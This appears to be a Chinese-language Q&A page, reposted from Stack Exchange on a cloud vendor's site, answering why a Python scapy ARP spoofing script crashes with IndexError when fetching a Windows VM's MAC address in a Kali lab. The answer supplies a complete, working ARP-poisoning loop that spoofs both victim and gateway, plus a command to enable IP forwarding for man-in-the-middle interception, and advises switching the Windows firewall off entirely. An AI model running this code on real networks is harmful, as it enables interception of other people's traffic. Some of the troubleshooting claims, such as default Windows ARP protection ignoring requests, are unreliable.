You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Kali Linux中获取10.0.2.7的MAC地址触发索引越界异常求助

解决ARP欺骗代码中获取目标MAC时的IndexError问题

我明白你碰到的麻烦了:你的Python ARP欺骗脚本能顺利拿到网关10.0.2.1的MAC地址,但尝试获取Windows虚拟机10.0.2.7的MAC时,直接抛出了IndexError: list index out of range。这个错误的核心原因很明确——scapy.srp()没有收到目标主机的ARP响应,导致answered_list是空列表,你直接去访问answered_list[0]自然就会触发索引越界。

为什么会收不到响应?

大概率是这几个原因:

  • Windows虚拟机的ARP防护机制在生效:现代Windows系统默认带有ARP欺骗防护,会忽略来自陌生主机的ARP广播请求,尤其是同一网段下的未授权请求。
  • 虚拟机网络模式限制:如果你的Kali和Windows虚拟机用的是NAT模式,虚拟化层可能会限制虚拟机之间的直接通信,导致ARP广播无法正常送达或获取响应。
  • 超时时间设置过短:你代码里的timeout=1可能不够,Windows虚拟机的ARP响应速度可能稍慢,直接导致请求超时无响应。

具体修复方案

你可以按顺序尝试下面的解决办法:

1. 临时关闭Windows虚拟机的ARP防护

在Windows 10虚拟机里,以管理员身份打开命令提示符,执行:

netsh advfirewall set allprofiles state off

或者手动关闭Windows Defender防火墙的高级设置里的ARP相关规则,先验证是不是防护机制挡住了请求。

2. 调整虚拟机网络模式

如果之前用的是NAT模式,改成桥接模式或者内部网络:

  • 桥接模式能让两台虚拟机处于同一物理网段,更利于ARP通信;
  • 内部网络则让虚拟机之间直接互通,不受宿主机网络限制。

3. 修改代码,增加异常处理与超时优化

更新get_mac函数,增加空响应判断避免崩溃,同时延长超时时间:

#!/usr/bin/env python
import scapy.all as scapy
import time

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    # 延长超时时间到2秒,提升获取响应的概率
    answered_list, unanswered_list = scapy.srp(arp_request_broadcast, timeout=2, verbose=False)
    # 判断是否收到响应
    if answered_list:
        return answered_list[0][1].hwsrc
    else:
        print(f"[-] 无法获取 {ip} 的MAC地址,未收到ARP响应")
        return None

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    if target_mac is None:
        print(f"[-] 无法欺骗目标 {target_ip},跳过本次请求")
        return
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

while True:
    spoof("10.0.2.7", "10.0.2.1")
    spoof("10.0.2.1", "10.0.2.7")
    time.sleep(2)

修改后的代码会在无法获取MAC时给出提示,而不是直接崩溃,同时延长了超时时间,提升了响应成功率。

4. 提前开启Kali的IP转发(后续必备)

虽然这不是当前报错的直接原因,但如果要实现完整的ARP欺骗(让目标主机能正常上网),需要开启IP转发:

echo 1 > /proc/sys/net/ipv4/ip_forward

验证步骤

  1. 先在Kali里执行ping 10.0.2.7,确保两台虚拟机能互相连通;
  2. 用arping 10.0.2.7手动发送ARP请求,快速排查是不是网络或防护问题导致的无响应。

内容的提问来源于stack exchange,提问作者Ahmad Amin

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.07 19:32:50